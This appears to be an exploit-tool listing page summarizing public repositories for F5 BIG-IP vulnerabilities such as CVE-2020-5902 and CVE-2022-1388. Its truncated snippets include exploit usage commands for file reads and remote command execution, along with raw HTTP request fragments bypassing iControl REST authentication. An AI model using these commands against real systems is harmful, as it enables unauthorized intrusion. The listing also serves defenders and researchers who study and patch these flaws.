CVE-2020-5902

CVE-2020-5902 Python script to exploit F5 Big-IP CVE-2020-5902 Examples Exploit local file read: python3 CVE-2020-5902.py -t example.com -x lfr -f /etc/passwd Exploit RCE: python3 CVE-2020-5902.py -t example.com -x rce -a list+auth+user+admin...

CVE-2020-5902-Scanner

CVE-2020-5902-Escáner Escáner automatizado de ejecución remota de código en F5 Big IP CVE-2020-5902 escrito en Python 3 Descripción de la vulnerabilidad F5 lanzó una vulnerabilidad crítica de ejecución remota de código CVE-2020-5902 el 30 de junio de 2020 que afecta a varias versiones de Big IP. ...

CVE-2022-1388

CVE-2022-1388 Poc:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url Exp:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url --attack --command command 免责声明 此工具仅用于学习、研究和自查。不应将其用于非法目的。使用本工具产生的一切风险与我无关！ Disclaimer This tool is for study, research, and self-examination only. It should not be used for...

CVE-2025-20029-simulation

🔐 Simulación de ataque reproducible – CVE-2025-20029 ⚠️ Este repositorio simula CVE-2025-20029 en un entorno seguro y controlado. No interactúa con sistemas F5 BIG-IP reales ni explota ningún servicio de producción. El objetivo es educativo: estudiar el patrón de la vulnerabilidad y probar payload...

F5-CVE-2022-1388-Exploit

F5-CVE-2022-1388-Exploit Exploit and Check Script for CVE 2022-1388 Usage Check against single host root@kitploit: python3 CVE-2022-1388.py -v true -u targeturl Attack host and test command root@kitploit: python CVE20221388.py -a true -u targeturl -c command Attack list of hosts root@kitploit:...

CVE-2020-5902-F5BIG

CVE-2020-5902-F5BIG Just Run Command like 👇 root@kitploit: go run CVE-2020-5902-F5BIG-Scanner.go -u ... -p 443 -m R -f /etc/issue or go run CVE-2020-5902-F5BIG-Scanner.go -u ... -p 443 -m C...

CVE-2021-22986

F5 BIG-IP RCE / CVE-2021-22986 Remote Code Execution Vulnerability Code By:Tas9er Warning This tool is intended to help enterprises quickly locate and fix vulnerabilities. It is only for authorized security testing and strictly complies with the Cybersecurity Law of the People's Republic of China...

CVE-2022-1388

CVE-2022-1388 This repository conssists of the python exploit code for CVE-2022-1388 F5's BIG-IP RCE usage: exploit.py -h -t TARGET -p PORT -c CMD --ssl options: -h, --help show this help message and exit -t TARGET, --target TARGET Specify the IP Address/Domain Name of the vulnerable server -p...

CVE-2022-1388

CVE-2022-1388-Exploit Script de Explotación y Verificación para CVE 2022-1388 Uso Para verificar contra una sola URL de host root@kitploit: python3 exploit.py -v true -u targeturl Para atacar un host y probar un comando en ese host root@kitploit: python3 exploit.py -a true -u targeturl -c command...

CVE-2022-1388_PoC

F5 BIG-IP RCE exploitation CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl commandliner: root@kitploit: $ curl -i -s -k -X...

CVE-2020-5902

CVE-2020-5902 Summary In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface TMUI, also referred to as the Configuration utility, has a Remote Code Execution RCE vulnerability in undisclosed pages. Proof Of...

westone-CVE-2022-1388-scanner

westone-CVE-2022-1388-scanner Неразглашённые запросы могут обойти аутентификацию iControl REST. Установка и использование git clone https://github.com/Osyanina/westone-CVE-2021-21980-scanner.git cd westone-CVE-2022-1388-scanner cmd CVE-2022-1388.exe...

BIG-IP-F5-TMUI-RCE-Vulnerability

BIG-IP-F5-TMUI-RCE-Vulnerability CVE-2020-5902 BIG IP F5 TMUI RCE Vulnerability RCE PoC/ Test Script...

F5_RCE

Uso root@kitploit: python3 f5rce.py -u Especificar URL objetivo -f Especificar archivo de detección por lotes -c Ejecutar comando El efecto es el siguiente: PS: la salida no es muy estética, la modificaré 😁 Problema Este PoC actualmente solo admite algunos comandos; ejecutar history, ls, etc...

refreshing-soap-exploit

This is a proof of concept for CVE-2022-41622, which is a CSRF in F5 Big-IP that leads to remote code execution. Using this is a bit finnicky, but I'll walk you through my favourite usecases. The vulnerability The core vulnerability is a cross-site request forgery in F5 Big-IP's SOAP interface,...

CVE-2022-1388

CVE-2022-1388 BIG IP REST RCE On F5 BIG-IP 16.1.x versions prior to 16.1.2.2., 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication. Use the following...

CVE-2022-1388-Exploit

CVE-2022-1388-Exploit Scripts de prueba y explotación para CVE-2022-1388 F5 Big-IP masscheck.py tomará un archivo de entrada y comprobará si los hosts son vulnerables sin explotarlos. Detección: Escaneo de /mgmt/tm/util/bash como endpoint, es probable que aparezca en los registros del servidor we...

f5-waf-enforce-sig-CVE-2021-44228

f5-waf-enforce-sigs-CVE-2021-44228 This enforces signatures for CVE-2021-44228 across all policies on a BIG-IP ASM device Overview This script enforces all signatures present in the list below related to CVE-2021-44228 across all policies in blocking mode in the Adv. WAF/ASM. sigs = '200104768',...

parquet-canary-exploit-rce-poc-CVE-2025-30065

Exploit Canario para Parquet CVE-2025-30065 root@kitploit: -. '-. OO OO .-----,--/ ,. ,------. .-----. .----. .-----..------. .-----. .----. .----. ,--. .------. ' .--.\ \ //| .---' .-'/ ,-. / .. / ,-. | | .-' / -. / .. \ / .. \ / .' | | | |'-.\ \ / / | | OO'-' | . / \ '-' | | '--. OO'-' ' . / ...

CVE-2022-1388-Exploit-POC

CVE-2022-1388 EXPLOIT POC F5 BIG IP root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM=...